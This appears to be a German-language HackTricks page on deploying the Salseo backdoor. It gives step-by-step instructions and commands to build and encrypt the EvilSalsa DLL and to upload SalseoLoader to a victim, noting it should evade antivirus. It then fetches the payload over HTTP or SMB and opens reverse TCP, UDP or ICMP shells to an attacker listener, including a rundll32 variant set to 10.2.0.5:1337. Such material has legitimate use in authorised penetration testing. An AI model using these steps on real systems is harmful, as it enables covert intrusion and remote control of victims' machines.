# Salseo {{#include ../banners/hacktricks-training.md}} ## Kompilieren der Binaries Lade den Quellcode von GitHub herunter und kompiliere **EvilSalsa** und **SalseoLoader**. Du benötigst **Visual Studio**, um den Code zu kompilieren. Kompiliere diese Projekte für die Architektur des Windows-Systems, auf dem du sie verwenden möchtest (Wenn Windows x64 unterstützt, kompiliere sie für diese Architektur). Du kannst **die Architektur auswählen** innerhalb von Visual Studio im **linken "Build"-Tab** unter **"Platform Target".** (**Wenn du diese Optionen nicht findest, klicke auf **"Project Tab"** und dann auf **"\ Properties"**) ![](<../images/image (132).png>) Dann baue beide Projekte (Build -> Build Solution) (Im Protokoll wird der Pfad der ausführbaren Datei angezeigt): ![](<../images/image (1) (2) (1) (1) (1).png>) ## Bereite das Backdoor vor Zuerst musst du die **EvilSalsa.dll** kodieren. Dazu kannst du das Python-Skript **encrypterassembly.py** verwenden oder das Projekt **EncrypterAssembly** kompilieren: ### **Python** ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` ### Windows ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` Ok, jetzt hast du alles, was du brauchst, um die Salseo-Sache auszuführen: die **kodierte EvilDalsa.dll** und das **Binary von SalseoLoader.** **Lade das SalseoLoader.exe-Binary auf die Maschine hoch. Sie sollten von keinem AV erkannt werden...** ## **Führe das Backdoor aus** ### **Erhalte eine TCP-Reverse-Shell (kodierte DLL über HTTP herunterladen)** Denke daran, eine nc als Reverse-Shell-Listener und einen HTTP-Server zu starten, um das kodierte evilsalsa bereitzustellen. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` ### **Einen UDP-Reverse-Shell erhalten (kodierte DLL über SMB herunterladen)** Denken Sie daran, ein nc als Reverse-Shell-Listener zu starten und einen SMB-Server, um das kodierte evilsalsa bereitzustellen (impacket-smbserver). ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` ### **Einen ICMP Reverse Shell erhalten (kodierte DLL bereits im Opfer)** **Diesmal benötigen Sie ein spezielles Tool auf dem Client, um den Reverse Shell zu empfangen. Laden Sie herunter:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) #### **ICMP-Antworten deaktivieren:** ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` #### Führen Sie den Client aus: ``` python icmpsh_m.py "" "" ``` #### Im Inneren des Opfers, lassen Sie uns das salseo-Ding ausführen: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` ## Kompilieren von SalseoLoader als DLL, die die Hauptfunktion exportiert Öffnen Sie das SalseoLoader-Projekt mit Visual Studio. ### Fügen Sie vor der Hauptfunktion hinzu: \[DllExport] ![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ### Installieren Sie DllExport für dieses Projekt #### **Tools** --> **NuGet-Paket-Manager** --> **NuGet-Pakete für die Lösung verwalten...** ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) #### **Suchen Sie nach dem DllExport-Paket (unter Verwendung des Tabs Durchsuchen) und drücken Sie Installieren (und akzeptieren Sie das Popup)** ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>) In Ihrem Projektordner sind die Dateien erschienen: **DllExport.bat** und **DllExport_Configure.bat** ### **De**installieren Sie DllExport Drücken Sie **Deinstallieren** (ja, es ist seltsam, aber vertrauen Sie mir, es ist notwendig) ![](<../images/image (5) (1) (1) (2) (1).png>) ### **Beenden Sie Visual Studio und führen Sie DllExport_configure aus** Beenden Sie einfach Visual Studio Gehen Sie dann zu Ihrem **SalseoLoader-Ordner** und **führen Sie DllExport_Configure.bat** aus Wählen Sie **x64** (wenn Sie es in einer x64-Umgebung verwenden möchten, war das mein Fall), wählen Sie **System.Runtime.InteropServices** (innerhalb **Namespace für DllExport**) und drücken Sie **Übernehmen** ![](<../images/image (7) (1) (1) (1) (1).png>) ### **Öffnen Sie das Projekt erneut mit Visual Studio** **\[DllExport]** sollte nicht länger als Fehler markiert sein ![](<../images/image (8) (1).png>) ### Lösung erstellen Wählen Sie **Ausgabetyp = Klassenbibliothek** (Projekt --> SalseoLoader-Eigenschaften --> Anwendung --> Ausgabetyp = Klassenbibliothek) ![](<../images/image (10) (1).png>) Wählen Sie die **x64** **Plattform** (Projekt --> SalseoLoader-Eigenschaften --> Erstellen --> Plattformziel = x64) ![](<../images/image (9) (1) (1).png>) Um die Lösung zu **erstellen**: Erstellen --> Lösung erstellen (Im Ausgabekonsolenfenster wird der Pfad der neuen DLL angezeigt) ### Testen Sie die generierte DLL Kopieren und fügen Sie die DLL dort ein, wo Sie sie testen möchten. Führen Sie aus: ``` rundll32.exe SalseoLoader.dll,main ``` Wenn kein Fehler auftritt, haben Sie wahrscheinlich eine funktionale DLL!! ## Holen Sie sich eine Shell mit der DLL Vergessen Sie nicht, einen **HTTP** **Server** zu verwenden und einen **nc** **Listener** einzurichten. ### Powershell ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" $env:lhost="10.2.0.5" $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` ### CMD ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt set lhost=10.2.0.5 set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` {{#include ../banners/hacktricks-training.md}}